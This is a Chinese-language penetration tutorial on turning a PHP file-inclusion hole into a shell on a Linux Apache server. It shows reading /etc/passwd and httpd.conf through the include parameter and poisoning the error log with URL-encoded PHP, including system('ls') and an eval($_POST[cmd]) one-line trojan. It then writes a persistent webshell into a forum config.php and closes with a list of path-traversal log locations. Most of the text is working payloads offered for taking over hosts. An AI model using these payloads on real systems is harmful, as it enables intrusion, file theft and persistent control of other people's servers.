滲透必備：linux下備份拿shell

關于php包含Apache日志的利用,其實也就是利用送出的網址裡有php語句，然後再被Apache伺服器的日志記錄，然後php再去包含執行，進而包含了去執行。當然，這種辦法最大的弊端是Apache日志肯定會過大，回應的時候當然會逾時什麼的，是以也是受條件限制的。全當一種研究算了。下面是我的測試過程，我覺得很有意思，你也看看。

比如說，在一個php存在包含漏洞就像這樣,存在一句php包含漏洞的語句

<? include($zizzy); ?>   //包含變量$zizzy

你可以

http://xxx.com/z.php?zizzy=/etc/inetd.conf

http://xxx.com/z.php?zizzy=/proc/cpuinfo

http://xxx.com/z.php?zizzy=/etc/passwd

就可以利用包含語句來檢視一些系統環境和密碼檔檔案。

那麼關于日志包含下面我們來看：

比如我們的Apache的伺服器配置檔案位置在這裡

/usr/local/apache/conf/httpd.conf

那麼我們來包含一下httpd.conf，來看下路徑資訊什麼的

http://xxx.com/z.php?zizzy=/usr/local/apache/conf/httpd.conf

讀出Apache的配置資訊，這裡列出部分資訊。

<VirtualHost 218.63.89.2>

User #3

Group silver

ServerAdmin [email protected]

DocumentRoot /home/virtual/www.xxx.com

ServerName www.xxx.com

ServerAlias xxx.com

ErrorLog /home/virtual/www.xxx.com/logs/www-error_log

CustomLog /home/virtual/www.xxx.com/logs/www-access_log common

ScriptAlias /cgi-bin/ /home/virtual/www.xxx.com/cgi-bin/

Alias /icons/ /home/virtual/www.xxx.com/icons

</VirtualHost>

而我們送出http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log

就可以讀出Apache的錯誤日志記錄

[Mon Jan 22 14:01:16 2005] [error] [client 218.63.194.76] File does not

exist: /home/virtual/www.xxx.com/hack.php

[Tus Jan 22 19:36:54 2005] [error] [client 218.63.148.38] File does not

exist: /home/virtual/www.xxx.com/111111111.php

[Wen Jan 23 05:14:54 2005] [error] [client 218.63.235.129] File does not

exist: /home/virtual/www.xxx.com/22222.php3

[Wen Jan 23 16:25:04 2005] [error] [client 218.63.232.73] attempt to invoke

directory as script: /home/virtual/www.xxx.com/forum

[Fir Jan 26 19:43:45 2005] [error] [client 218.63.232.73] attempt to invoke

directory as script: /home/virtual/www.xxx.com/blog

[Fir Jan 26 19:43:46 2005] [error] [client 64.229.232.73] attempt to invoke

directory as script: /home/virtual/www.xxx.com/kkkkkkkk

而資料日志/home/virtual/www.xxx.com/logs/www-access_log也是一樣的，一樣可以讀出來，隻不過檔案會很大，那也沒意思測試下去了，那怎麼利用呢。

比如我們送出要送出這句，<?phpinfo();?> //檢視php的相關資訊

在這裡，我們隻能送出URL編碼模式，因為我在測試中發現，<?的标記并不被記錄，隻有轉換成URL編碼送出才會被完整記錄。

在這裡<%3Fphpinfo%28%29%3B%3F>這句就是轉換過了的<?phpinfo();?>，我們送出

http://www.xxx.com/<%3Fphpinfo%28%29%3B%3F>

這樣肯定會報出錯找不到頁面，而一出錯就被記在錯誤日志裡了

http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log

這樣這個日志檔案就被包含成了phpinfo的資訊，而回顯也就成了一個顯示php資訊的頁面。

如果可以的話（能夠執行系統指令，也就是safe_mode開着的時候），

這樣子也不錯，

<?system("ls+-la+/home");?>   //執行指令列出home下的檔案清單，記得轉換為URL格式哦。

/home/

total 9

-rw-r--r--   1 www.xxx.com   silver       55 Jan 20 23:01 about.php

drwxrwxrwx   4 www.xxx.com   silver     4096 Jan 21 06:07 abc

-rw-r--r--   1 www.xxx.com   silver     1438 Dec 3 07:39 index.php

-rwxrwxrwx   1 www.xxx.com   silver     5709 Jan 21 20:05 show.php  

-rw-r--r--   1 www.xxx.com   silver     5936 Jan 18 01:37 admin.php

-rwxrwxrwx   1 www.xxx.com   silver     5183 Jan 18 15:30 config.php3

-rw-rw-rw-   1 www.xxx.com   silver   102229 Jan 21 23:18 info.txt

drwxr-xr-x   2 www.xxx.com   silver     4096 Jan 8 16:03 backup

-rw-r--r--   1 www.xxx.com   silver     7024 Dec 4 03:07 test.php

這樣就列出了home下的檔案

或者直接一句話木馬<?eval($_POST[cmd]);?>，

這樣轉換後就是<%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F> 這樣的格式。

我們送出

http://www.xxx.com/<%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F>

再用lanker的一句話木馬用戶端一連就OK了。

因為上面那個很不實際，我在測試中發現日志動不動就是幾十兆，那樣玩起來也沒意思了。下面想的再深入一點也就是我們寫入一個很實際的webshell來用，也比上面那種慢的要死好很多。

比如還是這句一句話木馬

<?eval($_POST[cmd]);?>  

到這裡你也許就想到了，這是個很不錯的辦法。接着看,如何寫入就成了個問題，用這句，

fopen打開/home/virtual/www.xxx.com/forum/config.php這個檔案，然後寫入<?eval($_POST[cmd]);?>這個一句話木馬服務端語句。連起來表達成php語句就是

<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");

fclose($fp);?>   //在config.php裡寫入一句木馬語句

我們送出這句，再讓Apache記錄到錯誤日志裡，再包含就成功寫入shell,記得一定要轉換成URL格式才成功。

轉換為

<%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F

config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp

%2C%22<%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F>%22%29%3B

fclose%28%24fp%29%3B%3F>

http://xxx.com/<%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww

%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp

%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22<%3Feval%28%24%5FPOST%5B

cmd%5D%29%3B%3F>%22%29%3Bfclose%28%24fp%29%3B%3F>

這樣就錯誤日志裡就記錄下了這行寫入webshell的代碼。

我們再來包含日志，送出

這樣webshell就寫入成功了，config.php裡就寫入一句木馬語句

OK.

http://www.xxx.com/forum/config.php這個就成了我們的webshell

直接用lanker的用戶端一連，主機就是你的了。

PS:上面講的，前提是檔案夾權限必須可寫 ，一定要-rwxrwxrwx(777)才能繼續，這裡直接用上面列出的目錄來檢視。上面講的都是在知道日志路徑的情況下的利用

其他的日志路徑，你可以去猜，也可以參照這裡。

附：收集的一些日志路徑

../../../../../../../../../../var/log/httpd/access_log

../../../../../../../../../../var/log/httpd/error_log

../apache/logs/error.log

../apache/logs/access.log

../../apache/logs/error.log

../../apache/logs/access.log

../../../apache/logs/error.log

../../../apache/logs/access.log

../../../../../../../../../../etc/httpd/logs/acces_log

../../../../../../../../../../etc/httpd/logs/acces.log

../../../../../../../../../../etc/httpd/logs/error_log

../../../../../../../../../../etc/httpd/logs/error.log

../../../../../../../../../../var/www/logs/access_log

../../../../../../../../../../var/www/logs/access.log

../../../../../../../../../../usr/local/apache/logs/access_log

../../../../../../../../../../usr/local/apache/logs/access.log

../../../../../../../../../../var/log/apache/access_log

../../../../../../../../../../var/log/apache/access.log

../../../../../../../../../../var/log/access_log

../../../../../../../../../../var/www/logs/error_log

../../../../../../../../../../var/www/logs/error.log

../../../../../../../../../../usr/local/apache/logs/error_log

../../../../../../../../../../usr/local/apache/logs/error.log

../../../../../../../../../../var/log/apache/error_log

../../../../../../../../../../var/log/apache/error.log

../../../../../../../../../../var/log/error_log

/var/log/httpd/access_log      

/var/log/httpd/error_log    

../apache/logs/error.log    

/etc/httpd/logs/acces_log

/etc/httpd/logs/acces.log

/etc/httpd/logs/error_log

/etc/httpd/logs/error.log

/var/www/logs/access_log

/var/www/logs/access.log

/usr/local/apache/logs/access_log

/usr/local/apache/logs/access.log

/var/log/apache/access_log

/var/log/apache/access.log

/var/log/access_log

/var/www/logs/error_log

/var/www/logs/error.log

/usr/local/apache/logs/error_log

/usr/local/apache/logs/error.log

/var/log/apache/error_log

/var/log/apache/error.log

/var/log/error_log